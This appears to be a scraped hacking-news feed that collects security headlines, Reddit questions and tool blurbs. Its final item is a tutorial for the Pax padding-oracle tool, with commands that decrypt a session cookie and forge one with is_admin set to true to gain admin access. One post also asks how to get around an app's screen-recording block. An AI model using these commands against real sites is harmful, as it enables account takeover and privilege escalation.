This is article 2 of 4 for the BanklessDAO Writer’s Cohort.Continue reading on Coinmonks » (https://medium.com/coinmonks/crypto-bug-bounty-hunting-an-overview-since-2020-6f5cebe24650?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Crypto Bug Bounty Hunting: An Overview Since 2020

This is article 2 of 4 for the BanklessDAO Writer’s Cohort.Continue reading on Coinmonks »
Read more...

hacking: security in practice
Is it possible to have a sandbox on your phone (android)?

Mods, let me know if this doesn't fit the hacking subreddit and I'll remove it. I know it isn't literally hacking just related to it, so I'm not sure.

My question is pretty much the title. Is it possible to set up a sandbox on your phone? You have plenty of options when it comes to computers, you can even set up a fake phone on your computer, but I never really heard about anything that can be used on actual phones. Does anybody here know? Or maybe a reference to a sub that would know?

submitted by /u/Genemoni
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to screen record a (windows pc) app that detects and blocks screen recording?

I’ve been screen recording an app on my windows desktop using the program OBS. At some point the app updated to a version that detects and blocks screen recording. My screen looks normal while recording, but when I go back and view the recordings themselves, the app window is blacked out.

Is there any way around this?

And

Is there anyway to unblack out the app window on the already existing recordings?

Please help!!

submitted by /u/anything97365
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Google Quashes 5 High-Severity Bugs With Chrome 106 Update

External researchers contributed 16 of the 20 security updates included in the new Chrome 106 Stable Channel rollout, including five high-severity bugs.

Dark Reading: Attacks/Breaches
Plug Your Data Leaks: Integrating Data Loss Prevention into Your Security Stack

The average cost of a data-exposing cybersecurity incident is $4.35 million. If your business can’t avoid to pay, make sure you’ve got a strong data loss prevention practice in place.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Sophisticated Covert Cyberattack Campaign Targets Military Contractors

Malware used in the STEEP#MAVERICK campaign features rarely seen obfuscation, anti-analysis, and evasion capabilities.

Hacking on Medium
DevSecOps 101: Pre-commit hooks with Talisman and gofindapis

https://cdn-images-1.medium.com/max/1000/0*p1OAgpzosgv2hmlO
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Laptop Suggestion for hacking/programming

Hey guys , I want to get a laptop mainly for hacking & programming,I was thinking about having more cores but don't know which brand to go, (windows only below 900$ or 75k INR) can you guys share your suggestions(laptop names) regarding this.

submitted by /u/vinay737
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Learn How To Modify Windows ISOs to make your own Windows 10 "Lite"

Original XDA Thread:

https://forum.xda-developers.com/t/how-to-make-a-lite-or-modded-windows-iso-tool-premade-lite-win-10-iso.4496967/

Hello Friends~!

Today I bring you a guide that teaches you how to use a built in Windows program called Dism.exe to remove unwanted installed programs on windows installation isos. You are also able to embed your own apps. Works on all Windows!

For a full walkthrough with pics, video, download links, and sources, see my XDA thread above!

submitted by /u/Long-Cap6202
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Bought a used PC from a friend of a friend

I bought a pc from a guy a year or two ago. It never occurred to me that he could have installed some kind of spyware. Is there a way I can check for this?

I’ve run several full scans on windows defender which haven’t shown anything but I’m still worried there might be something hiding.

Maybe I’m just paranoid

submitted by /u/North_Ad_2067
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

OAuth 2.0 Hacking
https://gowthamaraj-rajendran.medium.com/oauth-2-0-hacking-67e5d2b9b495?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

OAuth is an open authorization protocol, which allows accessing the resources of the resource owner by enabling the client applications on…Continue reading on Medium » (https://gowthamaraj-rajendran.medium.com/oauth-2-0-hacking-67e5d2b9b495?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Chaos Malware Resurfaces With All-New DDoS & Cryptomining Modules

The previously identified ransomware builder has veered in an entirely new direction, targeting consumers and business of all sizes by exploiting known CVEs through brute-forced and/or stolen SSH keys.

Dark Reading: Attacks/Breaches
Malwarebytes Expands OneView Platform for MSPs

Malwarebytes achieves 250% year-over-year MSP partner growth, introduces new modules to enhance protection, detection, and resolution of threats for SMBs.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
OAuth 2.0 Hacking

https://cdn-images-1.medium.com/max/1280/0*a3CkALHAV_Cd3i7N.jpg
OAuth is an open authorization protocol, which allows accessing the resources of the resource owner by enabling the client applications on…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Pax : CLI Tool For PKCS7 Padding Oracle Attacks

Pax, Exploit padding oracles for fun and profit!

Pax (PAdding oracle eXploiter) is a tool for exploiting padding oracles in order to:

* Obtain plaintext for a given piece of CBC encrypted data.
* Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by the oracle.

This can be used to disclose encrypted session information, and often to bypass authentication, elevate privileges and to execute code remotely by encrypting custom plaintext and writing it back to the server.

As always, this tool should only be used on systems you own and/or have permission to probe!

Installation

Download from releases, or install with Go:

go get -u github.com/liamg/pax/cmd/pax

Example Usage

If you find a suspected oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:

pax decrypt –url https://target.site/profile.php –sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D –block-size 16 –cookies “SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D”

This will hopefully give you some plaintext, perhaps something like:

{“user_id”: 456, “is_admin”: false}

It looks like you could elevate your privileges here!

You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:

pax encrypt –url https://target.site/profile.php –sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D –block-size 16 –cookies “SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D” –plain-text ‘{“user_id”: 456, “is_admin”: true}’

This will spit out another base64 encoded set of encrypted data, perhaps something like:

dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=

Now you can open your browser and set the value of the SESScookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.
Download

___________________________
@hacking_Attack
@Hacking_Video